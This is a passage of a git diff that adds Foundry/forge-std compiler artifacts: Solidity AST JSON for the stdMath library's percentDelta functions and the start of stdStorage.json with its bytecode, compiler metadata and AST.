id":7308,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7307,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7336,"src":"699:7:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7306,"name":"uint256","nodeType":"ElementaryTypeName","src":"699:7:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"698:9:7"},"scope":7389,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":7359,"nodeType":"FunctionDefinition","src":"999:160:7","nodes":[],"body":{"id":7358,"nodeType":"Block","src":"1075:84:7","nodes":[],"statements":[{"assignments":[7346],"declarations":[{"constant":false,"id":7346,"mutability":"mutable","name":"absDelta","nameLocation":"1093:8:7","nodeType":"VariableDeclaration","scope":7358,"src":"1085:16:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7345,"name":"uint256","nodeType":"ElementaryTypeName","src":"1085:7:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":7351,"initialValue":{"arguments":[{"id":7348,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7338,"src":"1110:1:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":7349,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7340,"src":"1113:1:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":7347,"name":"delta","nodeType":"Identifier","overloadedDeclarations":[7300,7336],"referencedDeclaration":7300,"src":"1104:5:7","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256) pure returns (uint256)"}},"id":7350,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1104:11:7","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"1085:30:7"},{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7356,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7354,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7352,"name":"absDelta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7346,"src":"1133:8:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"hexValue":"31653138","id":7353,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1144:4:7","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000000_by_1","typeString":"int_const 1000000000000000000"},"value":"1e18"},"src":"1133:15:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"/","rightExpression":{"id":7355,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7340,"src":"1151:1:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1133:19:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":7344,"id":7357,"nodeType":"Return","src":"1126:26:7"}]},"implemented":true,"kind":"function","modifiers":[],"name":"percentDelta","nameLocation":"1008:12:7","parameters":{"id":7341,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7338,"mutability":"mutable","name":"a","nameLocation":"1029:1:7","nodeType":"VariableDeclaration","scope":7359,"src":"1021:9:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7337,"name":"uint256","nodeType":"ElementaryTypeName","src":"1021:7:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":7340,"mutability":"mutable","name":"b","nameLocation":"1040:1:7","nodeType":"VariableDeclaration","scope":7359,"src":"1032:9:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7339,"name":"uint256","nodeType":"ElementaryTypeName","src":"1032:7:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1020:22:7"},"returnParameters":{"id":7344,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7343,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7359,"src":"1066:7:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7342,"name":"uint256","nodeType":"ElementaryTypeName","src":"1066:7:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1065:9:7"},"scope":7389,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":7388,"nodeType":"FunctionDefinition","src":"1165:192:7","nodes":[],"body":{"id":7387,"nodeType":"Block","src":"1239:118:7","nodes":[],"statements":[{"assignments":[7369],"declarations":[{"constant":false,"id":7369,"mutability":"mutable","name":"absDelta","nameLocation":"1257:8:7","nodeType":"VariableDeclaration","scope":7387,"src":"1249:16:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7368,"name":"uint256","nodeType":"ElementaryTypeName","src":"1249:7:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":7374,"initialValue":{"arguments":[{"id":7371,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7361,"src":"1274:1:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":7372,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7363,"src":"1277:1:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"}],"id":7370,"name":"delta","nodeType":"Identifier","overloadedDeclarations":[7300,7336],"referencedDeclaration":7336,"src":"1268:5:7","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_int256_$_t_int256_$returns$_t_uint256_$","typeString":"function (int256,int256) pure returns (uint256)"}},"id":7373,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1268:11:7","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"1249:30:7"},{"assignments":[7376],"declarations":[{"constant":false,"id":7376,"mutability":"mutable","name":"absB","nameLocation":"1297:4:7","nodeType":"VariableDeclaration","scope":7387,"src":"1289:12:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7375,"name":"uint256","nodeType":"ElementaryTypeName","src":"1289:7:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":7380,"initialValue":{"arguments":[{"id":7378,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7363,"src":"1308:1:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"id":7377,"name":"abs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7279,"src":"1304:3:7","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_int256_$returns$_t_uint256_$","typeString":"function (int256) pure returns (uint256)"}},"id":7379,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1304:6:7","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"1289:21:7"},{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7385,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7383,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7381,"name":"absDelta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7369,"src":"1328:8:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"hexValue":"31653138","id":7382,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1339:4:7","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000000_by_1","typeString":"int_const 1000000000000000000"},"value":"1e18"},"src":"1328:15:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"/","rightExpression":{"id":7384,"name":"absB","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7376,"src":"1346:4:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1328:22:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":7367,"id":7386,"nodeType":"Return","src":"1321:29:7"}]},"implemented":true,"kind":"function","modifiers":[],"name":"percentDelta","nameLocation":"1174:12:7","parameters":{"id":7364,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7361,"mutability":"mutable","name":"a","nameLocation":"1194:1:7","nodeType":"VariableDeclaration","scope":7388,"src":"1187:8:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":7360,"name":"int256","nodeType":"ElementaryTypeName","src":"1187:6:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":7363,"mutability":"mutable","name":"b","nameLocation":"1204:1:7","nodeType":"VariableDeclaration","scope":7388,"src":"1197:8:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":7362,"name":"int256","nodeType":"ElementaryTypeName","src":"1197:6:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"1186:20:7"},"returnParameters":{"id":7367,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7366,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7388,"src":"1230:7:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7365,"name":"uint256","nodeType":"ElementaryTypeName","src":"1230:7:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1229:9:7"},"scope":7389,"stateMutability":"pure","virtual":false,"visibility":"internal"}],"abstract":false,"baseContracts":[],"canonicalName":"stdMath","contractDependencies":[],"contractKind":"library","fullyImplemented":true,"linearizedBaseContracts":[7389],"name":"stdMath","nameLocation":"73:7:7","scope":7390,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":7} \ No newline at end of file diff --git a/contracts/out/StdStorage.sol/stdStorage.json b/contracts/out/StdStorage.sol/stdStorage.json new file mode 100644 index 000000000..ff3c6430b --- /dev/null +++ b/contracts/out/StdStorage.sol/stdStorage.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x60556032600b8282823980515f1a607314602657634e487b7160e01b5f525f60045260245ffd5b305f52607381538281f3fe730000000000000000000000000000000000000000301460806040525f80fdfea264697066735822122029301e41726ee97d34638581c601ddfdd8d7db1af8af7584bea3d975c7d3027864736f6c63430008180033","sourceMap":"12760:5081:8:-:0;;;;;;;;;;;;;;;-1:-1:-1;;;12760:5081:8;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x730000000000000000000000000000000000000000301460806040525f80fdfea264697066735822122029301e41726ee97d34638581c601ddfdd8d7db1af8af7584bea3d975c7d3027864736f6c63430008180033","sourceMap":"12760:5081:8:-:0;;;;;;;;","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/StdStorage.sol\":\"stdStorage\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/StdStorage.sol":"stdStorage"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/StdStorage.sol","id":9387,"exportedSymbols":{"FindData":[7402],"StdStorage":[7427],"Vm":[15673],"stdStorage":[9386],"stdStorageSafe":[8781]},"nodeType":"SourceUnit","src":"32:17810:8","nodes":[{"id":7391,"nodeType":"PragmaDirective","src":"32:31:8","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":7393,"nodeType":"ImportDirective","src":"65:28:8","nodes":[],"absolutePath":"lib/forge-std/src/Vm.sol","file":"./Vm.sol","nameLocation":"-1:-1:-1","scope":9387,"sourceUnit":15674,"symbolAliases":[{"foreign":{"id":7392,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"73:2:8","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":7402,"nodeType":"StructDefinition","src":"95:102:8","nodes":[],"canonicalName":"FindData","members":[{"constant":false,"id":7395,"mutability":"mutable","name":"slot","nameLocation":"125:4:8","nodeType":"VariableDeclaration","scope":7402,"src":"117:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7394,"name":"uint256","nodeType":"ElementaryTypeName","src":"117:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":7397,"mutability":"mutable","name":"offsetLeft","nameLocation":"143:10:8","nodeType":"VariableDeclaration","scope":7402,"src":"135:18:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7396,"name":"uint256","nodeType":"ElementaryTypeName","src":"135:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":7399,"mutability":"mutable","name":"offsetRight","nameLocation":"167:11:8","nodeType":"VariableDeclaration","scope":7402,"src":"159:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7398,"name":"uint256","nodeType":"ElementaryTypeName","src":"159:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":7401,"mutability":"mutable","name":"found","nameLocation":"189:5:8","nodeType":"VariableDeclaration","scope":7402,"src":"184:10:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7400,"name":"bool","nodeType":"ElementaryTypeName","src":"184:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"name":"FindData","nameLocation":"102:8:8","scope":9387,"visibility":"public"},{"id":7427,"nodeType":"StructDefinition","src":"199:249:8","nodes":[],"canonicalName":"StdStorage","members":[{"constant":false,"id":7411,"mutability":"mutable","name":"finds","nameLocation":"291:5:8","nodeType":"VariableDeclaration","scope":7427,"src":"223:73:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$_$","typeString":"mapping(address => mapping(bytes4 => mapping(bytes32 => struct FindData)))"},"typeName":{"id":7410,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":7403,"name":"address","nodeType":"ElementaryTypeName","src":"231:7:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"223:67:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$_$","typeString":"mapping(address => mapping(bytes4 => mapping(bytes32 => struct FindData)))"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":7409,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":7404,"name":"bytes4","nodeType":"ElementaryTypeName","src":"250:6:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"Mapping","src":"242:47:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$","typeString":"mapping(bytes4 => mapping(bytes32 => struct FindData))"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":7408,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":7405,"name":"bytes32","nodeType":"ElementaryTypeName","src":"268:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Mapping","src":"260:28:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$","typeString":"mapping(bytes32 => struct FindData)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":7407,"nodeType":"UserDefinedTypeName","pathNode":{"id":7406,"name":"FindData","nameLocations":["279:8:8"],"nodeType":"IdentifierPath","referencedDeclaration":7402,"src":"279:8:8"},"referencedDeclaration":7402,"src":"279:8:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData"}}}}},"visibility":"internal"},{"constant":false,"id":7414,"mutability":"mutable","name":"_keys","nameLocation":"312:5:8","nodeType":"VariableDeclaration","scope":7427,"src":"302:15:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":7412,"name":"bytes32","nodeType":"ElementaryTypeName","src":"302:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":7413,"nodeType":"ArrayTypeName","src":"302:9:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"},{"constant":false,"id":7416,"mutability":"mutable","name":"_sig","nameLocation":"330:4:8","nodeType":"VariableDeclaration","scope":7427,"src":"323:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":7415,"name":"bytes4","nodeType":"ElementaryTypeName","src":"323:6:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"},{"constant":false,"id":7418,"mutability":"mutable","name":"_depth","nameLocation":"348:6:8","nodeType":"VariableDeclaration","scope":7427,"src":"340:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7417,"name":"uint256","nodeType":"ElementaryTypeName","src":"340:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":7420,"mutability":"mutable","name":"_target","nameLocation":"368:7:8","nodeType":"VariableDeclaration","scope":7427,"src":"360:15:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":7419,"name":"address","nodeType":"ElementaryTypeName","src":"360:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":7422,"mutability":"mutable","name":"_set","nameLocation":"389:4:8","nodeType":"VariableDeclaration","scope":7427,"src":"381:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7421,"name":"bytes32","nodeType":"ElementaryTypeName","src":"381:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":7424,"mutability":"mutable","name":"_enable_packed_slots","nameLocation":"404:20:8","nodeType":"VariableDeclaration","scope":7427,"src":"399:25:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7423,"name":"bool","nodeType":"ElementaryTypeName","src":"399:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":7426,"mutability":"mutable","name":"_calldata","nameLocation":"436:9:8","nodeType":"VariableDeclaration","scope":7427,"src":"430:15:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":7425,"name":"bytes","nodeType":"ElementaryTypeName","src":"430:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"name":"StdStorage","nameLocation":"206:10:8","scope":9387,"visibility":"public"},{"id":8781,"nodeType":"ContractDefinition","src":"450:12308:8","nodes":[{"id":7437,"nodeType":"EventDefinition","src":"479:74:8","nodes":[],"anonymous":false,"eventSelector":"9c9555b1e3102e3cf48f427d79cb678f5d9bd1ed0ad574389461e255f95170ed","name":"SlotFound","nameLocation":"485:9:8","parameters":{"id":7436,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7429,"indexed":false,"mutability":"mutable","name":"who","nameLocation":"503:3:8","nodeType":"VariableDeclaration","scope":7437,"src":"495:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":7428,"name":"address","nodeType":"ElementaryTypeName","src":"495:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":7431,"indexed":false,"mutability":"mutable","name":"fsig","nameLocation":"515:4:8","nodeType":"VariableDeclaration","scope":7437,"src":"508:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":7430,"name":"bytes4","nodeType":"ElementaryTypeName","src":"508:6:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"},{"constant":false,"id":7433,"indexed":false,"mutability":"mutable","name":"keysHash","nameLocation":"529:8:8","nodeType":"VariableDeclaration","scope":7437,"src":"521:16:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7432,"name":"bytes32","nodeType":"ElementaryTypeName","src":"521:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":7435,"indexed":false,"mutability":"mutable","name":"slot","nameLocation":"547:4:8","nodeType":"VariableDeclaration","scope":7437,"src":"539:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7434,"name":"uint256","nodeType":"ElementaryTypeName","src":"539:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"494:58:8"}},{"id":7443,"nodeType":"EventDefinition","src":"558:54:8","nodes":[],"anonymous":false,"eventSelector":"080fc4a96620c4462e705b23f346413fe3796bb63c6f8d8591baec0e231577a5","name":"WARNING_UninitedSlot","nameLocation":"564:20:8","parameters":{"id":7442,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7439,"indexed":false,"mutability":"mutable","name":"who","nameLocation":"593:3:8","nodeType":"VariableDeclaration","scope":7443,"src":"585:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":7438,"name":"address","nodeType":"ElementaryTypeName","src":"585:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":7441,"indexed":false,"mutability":"mutable","name":"slot","nameLocation":"606:4:8","nodeType":"VariableDeclaration","scope":7443,"src":"598:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7440,"name":"uint256","nodeType":"ElementaryTypeName","src":"598:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"584:27:8"}},{"id":7460,"nodeType":"VariableDeclaration","src":"618:84:8","nodes":[],"constant":true,"mutability":"constant","name":"vm","nameLocation":"638:2:8","scope":8781,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"},"typeName":{"id":7445,"nodeType":"UserDefinedTypeName","pathNode":{"id":7444,"name":"Vm","nameLocations":["618:2:8"],"nodeType":"IdentifierPath","referencedDeclaration":15673,"src":"618:2:8"},"referencedDeclaration":15673,"src":"618:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"6865766d20636865617420636f6465","id":7454,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"680:17:8","typeDescriptions":{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""},"value":"hevm cheat 